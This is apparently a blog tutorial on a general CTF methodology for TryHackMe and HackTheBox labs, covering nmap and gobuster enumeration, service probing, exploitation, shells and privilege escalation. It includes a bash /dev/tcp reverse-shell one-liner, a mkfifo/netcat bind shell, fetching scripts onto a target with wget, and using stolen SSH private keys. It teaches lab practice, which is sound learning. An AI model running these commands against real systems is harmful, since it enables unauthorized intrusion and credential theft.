Jasper Alblas
Jasper Alblas
Welcome back everyone! Today I want to share with you my notes on how to approach the majority of CTF challenge you participate in. I will go through all of the required steps to have success, and mention basic tools and tips for each part. I will probably add to this article regularly, as I gain knowledge of new tools and techniques.
I will include the following steps:
Let’s get started!
In this section I will cover basic tools and tips that will be nice to have in place before you get started on a particular CTF.
Unless you are completely new to the cyber security field, you will have heard of Kali Linux. This is a particular distribution of Linux that is well suited for Ethical Hacking and Pentesting. While you could technically use Windows or MacOS, Kali Linux will come with a great variety of hacking tools preinstalled, so you are of to a quick start.
If you want to install Kali Linux, you could install it as the primary OS on your machine, but this is not recommended, as you shouldn’t be using your main OS to do ethical hacking.
A slightly better alternative would be to install Kali Linux as dual boot. This is an improvement to the previous suggestion, but will make it slow to change between your different installed Operation Systems.
The best way to use Kali Linux, is to run it on a Virtual Machine (VM). This way, you can quickly start up a Linux instance with your favourite settings, and start hacking. When you then proceed to another CTF you can start up a new instance within seconds, or revert back to a snapshot. Since a VM is completely separate from its host computer there are also a bunch of security advantages.
I would recommend using VMware or VirtualBox to run your Virtual Machines, or maybe UTM on MacOS.
You can get Kali images here:
https://www.kali.org/get-kali/#kali-platforms
Note: a fine alternative to Kali Linux is Parrot OS.
When you have your Linux distribution running, you will be running most of your tools through a so called shell. A shell basically is a program that you give instructions with your keyboard, which the shell uses to give commands to the Operation System. Sure, we all have GUI programs now, but you will soon discover that some things are quicker using a shell, especially with practice.
Most Linux systems use a program called Bash (Bourne Again Shell) as a shell program to interact with the operating system. Aside from bash there are also other shells, including but not limited to Zsh, Tcsh, Ksh, Fish shell, etc.
During CTFs you are often expected to connect to target machine through SSH, which offers a secure way to access a system remotely. You do this with the use of a password, or public-key authentication. This gives you direct shell access to the remote system.
Both TryHackMe and HackTheBox require you to access their CTF machines by connecting to their network through a VPN. A virtual private network (VPN) allows us to connect to a private (internal) network and access hosts and resources as if we were directly connected to the target private network.
In practice this means that we have to install OpenVPN on our Kali system. We do this by running the following in your terminal (Linux command line/shell):
sudo apt install openvpn
All you need then if to get your personal.ovpn file which you can get when you login at THM or HTB’s, and run the following command:
sudo openvpn /path-to-file/file-name.ovpn
You should then be connected to their network, and you can proceed connecting to the machines. It is a good idea to ping the target host to see if you have access.
ping <target ip>
It’s ready to start exploring the machine!
Everything can be useful here, but in general we would like to know what kind of operating system and services are running on the target machine. We do this all to find possible ways into the system, in other words: attack vectors.
Nmap is the name of the tool that you will use first in most CTF challenges. Nmap can be use for the following tasks:
The syntax for nmap is fairly simple:
nmap <scan types> <options> <target>
A common result might look like this:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:18 EST Nmap scan report for 10.129.42.190 Host is up (0.11s latency). Not shown: 991 closed ports, 7 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd <REDACTED> ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds
This shows the open ports running on the system, and their respective services.
Now, there are a lot of different scan types and options but most of the times you I recommend you to start with the following scan:
nmap -sV -oA initial_scan <target>
This starts a service scan of the default top 1000 ports, and saves the output to a log file (well, actually the same log in 3 different formats). Saving your output is always a good idea, especially if you start pentesting for clients where you will need documentation of your work.
This is a good start. Coming back to the previous result, we see that port 22 and 80 are open.
Tip: We can confirm these ports by doing some banner grabbing with netcat:
nc -nv <target> <port>
Now want to know more about these ports! We therefore do a script scan on the open ports:
nmap -sC -oA -p 22,80 script_scan <target>
Which could give you the following results:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:39 EST Nmap scan report for 10.129.42.190 Host is up (0.11s latency). PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http |_http-title: Site doesn't have a title (text/html). Nmap done: 1 IP address (1 host up) scanned in 4.42 seconds
You could have done this script scan together with the service scan, but the script scan will slow things down, so it is better to run it on selected ports.
Now you found out some more on port 22 and 80, and you might start exploring these services some more with different tools. Before you proceed however, it is a good idea to do a full port scan while we are looking at other leads:
nmap -p- -oA full_port_scan <target>
We do this because there is no guarantee that all services are running on the top 1000 ports, and some might be hidden by using a high port number. This port scan will take a lot of time though, and therefore we run it in the background while proceeding our work with other tools.
Now, the following depends a lot on the type of results, but often there is some kind of web server running on port 80 or 443 (or a completely different port!). We therefore proceed doing some web enumeration, before we discuss other sorts of service enumeration in chapter 4.
While looking at web servers, there are many ways to approach the enumeration process. What I tend to do is have a quick look around on the web page by simply visiting the IP address in your browser.
You might be able to find some leads, especially in easier CTFs. Look out for version numbers, theme names, and whatever else could be of relevance.
A special file found at the root of every website is the robots.txt file. A robots.txt file tells search engine crawlers which URLs the crawler can access on your site. Sometimes you can find hidden pages or directories which are supposed to be hidden from crawlers here.
Developers can make mistakes too! Sometimes testing initials or other hidden gems are found in the source code. So press Control+U, and have a look at the source code of the page!
Now let’s suppose you have checked out all the above mentioned things, but you have found no clues. GoBuster to the rescue!
GoBuster is an amazing tool to do directory brute-forcing, so you don’t have to find hidden files and pages manually. All you need is a target ip, and a wordlist, which comes standard with your Kali distribution. GoBuster goes through every word in this list and checks if the web server responds to the word, and this way it might find some hidden file or directory.
You run GoBuster like this:
gobuster dir -u <target> -w /usr/share/dirb/wordlists/common.txt
A result might look like this:
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
===============================================================
[+] Url: http://10.10.10.121/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s ===============================================================
2020/12/11 21:47:25 Starting gobuster ===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301) ===============================================================
2020/12/11 21:47:46 Finished ===============================================================
Here, we found a wordpress installation. This opens up a ton of attack vectors!
A final useful tool is called whatweb. All this tool does is finding web server versions, frameworks, and applications running on the machine.
whatweb <target>
Of course, sometimes there is no web server running. But we have found other services, which can also provide attack vectors.
The most common services (and their defaults ports) are:
If we ignore HTTP and HTTPS, this leaves us 7 additional service types to discuss.
TP is a network protocol used to transfer files from a server to a client over a network.
A great way to start enumerating an FTP service is to banner grab the port to gain some basic knowledge on its service and version. As discussed before, we do this by running:
nc -nv <target> 21
This will give you more info on the ftp service, although you might have gotten something similar from the nmap scan:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Dec 19 23:50 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.2 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status Service Info: OS: Unix
Now, there are multiple things to try. As you can see above, this FTP service allows anonymous access. This means you can log in with “anonymous” as the username, and a blank password:
ftp <target> -u
You then get logged on the FTP server, where you might find additional clues.
If anonymous access is not possible it is possible to search for exploits for the specific ftp service running. We can do this by using searchsploit:
searchsploit vsftpd 3.0.3
Alternatively, you can just google your way to the exploit 🙂
Finally, you could try using some common credentials (for example: admin: 1234, and if you get very lucky you might get lucky this way. Other methods I won’t discuss for now are brute-forcing the password with hydra or packet sniffing with Wireshark or tcpdump.
Just like with FTP, you could try and find the exact version of SSH being run on the system.
nmap -sV -p 22 -A <target>
The -A flag returns even more information about the service. After obtaining more info about the service you can search for exploits with searchsploit.
Nmap also allows us to run some specific script with the — script flag. An example of one is the ssh-brute script, which checks for brute force attacks.
nmap -sV -p 22 --script ssh-brute <target>
Finally, metasploit can be used to enumerate the service. You could for example use the auxiliary/scanner/ssh/ssh_enumusers module. I won’t go into many details, but here is how you get started:
msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > show options msf auxiliary(ssh_enumusers) > set RHOSTS <target> msf auxiliary(ssh_enumusers) > exploit
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving email.
As before, we can use scripts through nmap, or use a metasploit module to find out more about the SMTP service.
With nmap we do it like this:
nmap -p 25 --script smtp-enum-users <target>
Meanwhile, with metasploit we can use the following two modules:
The nmap stmp-enum-users script and the metasploit stmtp_enum module both seek to find users existing on the service. This will then make it easier to brute-force the service.
Finally, we can try finding exploits with searchsploit.
Post Office Protocol (POP) is a type of computer networking and Internet standard protocol that extracts and retrieves email from a remote mail server for access by the host machine.
We can connect to the port by using nc to grab its banner:
nc -nv <target> 110
This will provide some basic info.
Nmap also has some useful scripts. First, pop3-ntlm-info provides some info on the services domain:
nmap -p 110 --script pop3-ntlm-info <target>
pop3-capabilities provides more info on the services capabilities:
nmap -p 110 --script pop3-capabilities <target>
Metasploit also has modules to help. Go and explore! 🙂
IMAP allows you to access your email messages wherever you are. It is somewhat similar to POP3, but POP3 fetches the mail from a server and deletes them, while IMAP stores the mail on a server and synchronises them between difference devices.
As before, we can banner grab. In addition, both NMap and Metasploit have useful scripts.
Here is a useful NMap script:
nmap -p143 --script=imap-ntlm-info <target>
And a Metasploit equivalent module: auxiliary/scanner/imap/imap_version
I am keeping this one short. As walys, find out more info and go hunt some exploits after you know enough.
SNMP Community strings provide information and statistics about a router or device, helping us gain access to it. The manufacturer default community strings of public and private are often unchanged.
There exists are tool called snmpwalk which can find a bunch of information:
snmpwalk -v1 -c public <ip>
Or:
snmpwalk -v1 -c private <ip>
The Server Message Block (SMB) protocol is a network file sharing protocol that allows applications on a computer to read and write to files and to request services from server programs in a computer network.
Since network file shares can contain a lot of vulnerable information, and therefore can open up a lot of other attack vectors.
Nmap provides an excellent enumeration script:
nmap --script smb-os-discovery.nse -p445 <target>
Another tool that can enumerate and interact with SMB shares is smbclient. The following command allows us to list SMB shares:
smbclient -N -L \\\\<target>
You can then logon as a guest user to said shares:
smbclient \\\\<target>\\<share name>
If you happen to get some initials you can login as that user like this:
smbclient -U jasper \\\\<target>\\<share name>
Now we should be a lot more knowledgable about the system we are attacking. The next step is exploiting any weaknesses on the system. The more information you gathered, the easier it will be to find a way into the machine. Now, the next steps depend a lot on the services running on the system, but a few general comments are in order.
As I have mentioned a few time, searchsploit
is a great command to search for exploits from your command line. Alternatively, you can use Metasploit (which can be started with the msfconsole command), and use its search exploit command to find exploits. There is no right or wrong here.
Remember you can always google your way to finding exploits 🙂
While this is not the right place to discuss metasploit, the general steps are like so:
Like so:
msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > show options msf auxiliary(ssh_enumusers) > set RHOSTS <target> msf auxiliary(ssh_enumusers) > exploit
In some cases using metasploit is not possible. In this case you need to do some manual work. In the case of web pages, you will often be able to use common vulnerabilities listed in the OWASP top 10:
https://owasp.org/www-project-top-ten
On web pages it often comes down to establishing some kind of shell to gain access to the system. In a perfect case we would have some SSH initial which could give us SSH access, but when we don’t we need to work for it.
The other method of accessing a compromised host for control and remote code execution is through shells. There are two main types of shells: Reverse Shell & Bind Shell.
Make the target system connect back to your machine.
We setup a listener on our machine:
nc -lvnp 1234
Now we need to setup a reverse shell command that connects back to our system. For this we need our VMs IP address, which we can find by running ifconfig. You should use the one mentioned under tun0 if you are connecting through OpenVPN.
You can find a bunch of reverse shells on the cheat sheet found in the PayloadsAllTheThings repository:
If your target machine runs Linux a typical bash reverse shell will serve you well:
bash -c 'bash -i >& /dev/tcp/<target>/1234 0>&1'
You need to get this command onto the attacker machine. This can be done through in a plethora of ways, for example: metasploit exploits, command injection or unrestricted file upload. When you got it uploaded, all you you need to is get it to run (in case of web server exploits you have to run it through the web server), and you should receive a shell on your listener.
Open the target machine to allow us connecting to it. This process is quite similar to the reverse shell, just the other way around.
You setup a listener on the target machine, which you can find on the previously linked cheat sheet. An example is like so:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
Then you connect to it through your VPN:
nc <target> 1234
And you will receive your shell connection!
After running our exploits we should be an initial foothold on the system. Problem it, we do not have a large amount of privileges, and we need to escalate our privileges, so we in an ideal world get root access.
Before we move on, we need to upgrade our shell. A common problem when getting a shell is that it lacks functionality. There is no autocomplete functionality, history and more. This makes it difficult to work with. Luckily we can upgrade our shell to stabilize it.
This is also called upgrading TTY.
There are different ways to stabilize our shell, but the most common one is as follows. In the shell you write the following command:
python -c 'import pty; pty.spawn("/bin/bash")'
Then we background our shell by pressing:
Control + Z
Followed by:
stty raw -echo
And finally:
fg
This returns our terminal to our shell. This method is one of the easier ways, and their exist different ways to do this. But this will get you started.
Now that our shell is more table we are more prepared to escalate our privileges. A popular way to do this is by running enumeration scripts with the name WinPEAS (Windows hosts) or LinPEAS(Linux). But how do we get this to our target machine? We need to transfer the files to it.
There are two main ways to do this:
SCP
If you have SSH access, you can simply run:
scp linenum.sh user@<target>:/tmp/linenum.sh
It can often be a good idea to copy to the /tmp folder as everyone has write access there.
You likely won’t have SSH access though. But there is another easy method to get your files to the target machine.
You download the files you want transferred to your VM, start a terminal in that directory, and run the following command:
python3 -m http.server 8000
This starts a web server which the target machine will be able to access, including all the files in the directory from which you ran the command.
Now you just need to enter the following command on your remote shell:
wget http://<VM tun0>:8000/linenum.sh
Remember you can find your tun0 IP address with the ifconfig command.
Now that you have your enumeration scripts on the machine, we are ready to find ways to escalate our privileges.
Now we have our enumeration scripts ready to go, it is time to run them. While their exist a plethora of different enumeration scripts, LinPEAS and WinPEAS are great when starting out.
These scripts output a large list of possible vulnerabilities. These include the following.
Operation systems that are not updated will have a ton of vulnerabilities that we can exploit.
Just like the Operating System, it is possible for each possible piece of software on the system to be outdated.
Sometimes we get lucky and there are hidden credentials in a log file or some other file. The enumeration script will search for these.
The scripts will output the kind of privileges the user has:
sudo -l
on Linux machines so see which sudo privileges we have, meaning which commands we are allowed to run with root (or another user’s) privileges.Sometime we have read access to the users .ssh directory, which contains SSH keys. We are interested in the private key found at /home/user/.ssh/id_rsa or /root/.ssh/id_rsa
We can copy the private key, transfer it to our machine, and use it to SSH into the machine. Before we do this we have to set the permissions on the copied key. Afterwards we can login to the target with the private key location after the -i flag.
chmod 600 id_rsa ssh user@<target> -i id_rsa
Alternatively, if we have write access to the users .ssh directory, we can transfer our own public key to this directory, which also gives us SSH access.
On Linux, scheduled tasks are called cron jobs. These can be found at:
If we have write permissions to these directories, we might be able to create a bash script that creates a reverse shell that gets called automatically by the system.
While we could have gotten flags earlier in the process, all that is left for us is to find the root flag. This should be everywhere, but it is commonly found in the /root folder on Linux hosts, or the C:/Users/Administrator/Desktop folder on Windows hosts.
That’s my write up for now. I hope you enjoyed! As I mentioned earlier, I will keep expanding this article when I come across new techniques and tools that I want to share.
You are welcome to comment this article, and please share with friends.
I would be even more grateful if you support me by buying me a cup of coffee at the following link:
I learned a lot through HackTheBox’s Academy. If you want to sign up for this awesome site, you can get extra cubes, and support me in the process, if you use the following link: